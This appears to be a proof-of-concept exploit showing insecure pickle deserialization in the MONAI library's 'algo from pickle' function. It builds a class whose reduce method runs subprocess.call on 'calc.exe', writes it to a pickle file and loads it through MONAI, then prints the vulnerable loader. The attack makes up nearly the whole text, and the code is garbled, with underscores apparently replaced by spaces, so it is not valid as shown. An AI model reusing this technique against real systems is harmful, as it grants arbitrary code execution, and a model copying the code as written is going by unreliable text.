import pickle
import subprocess
class MaliciousAlgo:
  def  reduce (self):
    return (subprocess.call, (['calc.exe'],))
malicious algo bytes = pickle.dumps(MaliciousAlgo())

attack data = {
  "algo bytes": malicious algo bytes, 
   
}
attack pickle file = "attack algo.pkl"
with open(attack pickle file, "wb") as f:
  f.write(pickle.dumps(attack data))

from monai.auto3dseg.utils import algo from pickle


attack pickle file = "attack algo.pkl"
result = algo from pickle(attack pickle file)

def algo from pickle(pkl filename: str, template path: PathLike | None = None, **kwargs: Any) -> Any:

  with open(pkl filename, "rb") as f pi:
      data bytes = f pi.read()
    data = pickle.loads(data bytes)